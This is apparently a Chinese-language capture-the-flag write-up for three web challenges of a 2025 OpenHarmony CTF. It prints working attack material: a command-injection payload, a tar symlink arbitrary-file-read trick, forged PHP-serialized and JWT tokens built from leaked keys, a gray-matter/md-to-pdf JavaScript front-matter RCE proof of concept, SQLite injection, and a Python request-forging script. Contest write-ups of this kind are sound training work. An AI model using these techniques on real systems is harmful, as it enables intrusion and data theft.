2025-OpenHarmony-CTF-Web-WP

AKAKAKAKAKAKAKAKAKAKAKAKAKAKAKAKAKAKAK

Layers of Compromise

user/password123

进入后台

将cookie中role的值改为admin就可以得到API令牌并且跳出logs.php

image-20250609005334623

还有一个文档的hint

1
2
3
4
5
6
7
8
9
10
11
内部API端点:

- status

- config

- debug (仅限本地访问)



查看 /data/app/www/secrettttts/ 获取开发令牌。

接着在secrettttts/token.txt获取到开发令牌

1
2
3
4
5
6
7
8
9
10
11
7f8a1a4b3c7d9e6f2b5s8d7f9g6h5j4k3l2m1n
--
if (isset($_COOKIE['auth_token'])) {
$auth_data = unserialize(base64_decode($_COOKIE['auth_token']));
if ($auth_data['username'] === 'dev' &&
$auth_data['hash'] === md5('dev' . $CONFIG['auth_key'])) {
return true;
}
}
--
'username'=>'dev' 'auth_key' => 'S3cr3tK3y!2023'

根据提示构造出auth_token

1
2
3
4
5
6
7
8
9
<?php
$auth_data = [
'username' => 'dev',
'hash' => md5('dev' . 'S3cr3tK3y!2023')
];
$serialized = serialize($auth_data);
$payload = base64_encode($serialized);
echo $payload;
?>

带上即可访问logs.php

最后在filter参数发现有命令拼接,把grep语句闭合后即可RCE

payload

1
action=filter_logs&filter=";grep${IFS}""${IFS}../../fla*/f*;"

Filesystem

有Next.js的源码,翻阅得知有/admin/login和/admin/index路由

image-20250609005956513

在主界面有可以上传文件和下载文件的功能

分析admin登录逻辑可以知道,admin登录的时候账号是admin,接着密码是从/opt/filesystem/adminconfig.lock的json数据中读取的,很容易想到软连接任意文件读取,分析好目录结构即可读取

1
2
ln -s ../../filesystem/adminconfig.lock 1
tar -cf 1.tar 1

image-20250609010207019

登录后就可以使用/admin/路由下的功能了

首先发现admin/index会把我们的slogon和username给显示渲染

image-20250609010318877

并且是严格限制字数的

image-20250609010345137

所以不难猜测注入点在这,注意到这里是直接从JWT去解析我们的数据,也就是username和slogon,所以只要不通过changePassword接口去修改slogon,直接修改jwt就可以绕过长度限制了,定位到jwt生成逻辑的代码,发现key在app.module.ts中

如法炮制读出key

image-20250609010545069

之后就可以伪造jwt来绕过长度限制了,至于最后的注入点是出在gray-master这个库的解析上,是一个比较冷门的库,并且这个命令执行漏洞是在一个issue中被提出的

Security: gray-matter exposes front matter JS-engine that leads to arbitrary code execution · Issue #99 · simonhaenisch/md-to-pdf

POC

image-20250609010815452

1
2
3
4
5
6
7
const { mdToPdf } = require('md-to-pdf');

var payload = '---js\n((require("child_process")).execSync("calc"))\n---RCE';

(async () => {
await mdToPdf({ content: payload }, { dest: './output.pdf' });
})();

修改js注入即可RCE,最后是把flag写到根目录的文件中去用软连接读取,因为可下载的目录没有写的权限

ezAPP_And_SERVER

给了个HAP文件

用工具反编译

Releases · ohos-decompiler/abc-decompiler

反编译分析逻辑定位到utils

ai一把锁得到xor的密钥

image-20250608165649798

写脚本得到获得flag的接口和一个通过uuid查找联系人的接口以及其他信息

image-20250608170104681全局搜索uid发现八个uid

image-20250608165940818

尝试通过接口查询显示未授权

继续分析鉴权逻辑

image-20250608170315563

发现需要jwt验证,用上面密钥jwt加密后即可访问接口

image-20250608173920876

测试发现是双引号闭合的sqlite注入,直接得到admin的uuid(列数为4)

image-20250608174050990

9d5ec98c-5848-4450-9e58-9f97b6b3b7bc

之后再分析getflag接口做了什么

image-20250608174150436

需要传入一个X-sign头来对请求体进行校验

往上找函数调用

image-20250608174250168

这里就是我们需要传的请求头{“action”:”getflag”}需要rsa加密

最后构造脚本即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import hashlib
import requests
import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.backends import default_backend
import base64
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.backends import default_backend
import base64

public_key_pem = """
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6HXr1LSOx2q97lSv0p7z
hqtgy/JwwWntE73TDKGMSx6Z5lRsDuVjBhuGPI050VkhtIgbAppM4xtsNhwkGfOK
s4OSt7PzHVyglkgwX7X04qFZKNOYYDS6Um+gZb5XXwiQ8GcFqfEjbKbLjvegUWur
H4sv3OpSIJOiTkhMZqCkfOTUxLF1+mwFDJVt5COQB/frFps/U5+OspjMGAVgORbn
99Uuy9KZsGQwX2e+NvvIAtLNaW1lycP0XTQiXnhm+k1+g8MGS01TpUZtwuBrDUAw
K/iNbCGQdKQ77J/dEO3YGYHKED2WKmApDGA0lNWou768D0dCHxOwUUwGIQw/CC1s
TwIDAQAB
-----END PUBLIC KEY-----
"""

action = b'{"action":"getflag"}'
public_key = serialization.load_pem_public_key(
public_key_pem.encode(),
backend=default_backend()
)

encrypted = public_key.encrypt(
action,
padding.PKCS1v15()
)

encrypted_b64 = base64.b64encode(encrypted).decode()



url = "http:///api/v1/getflag"


data = encrypted_b64
request_body = f'{{"data":"{data}"}}'


x_sign = hashlib.md5(request_body.encode()).hexdigest()

def jwtdo():
data = {"uid": "9d5ec98c-5848-4450-9e58-9f97b6b3b7bc"}
return jwt.encode(data,"wCvO3WRz9*vNM%rMaApkerY^^jI6vXmh")

headers = {
"Authorization": jwtdo(),
"X-Sign": x_sign,
"Content-Type": "application/json",
}

response = requests.post(url=url,headers=headers,data=request_body,timeout=5)

print(response.text)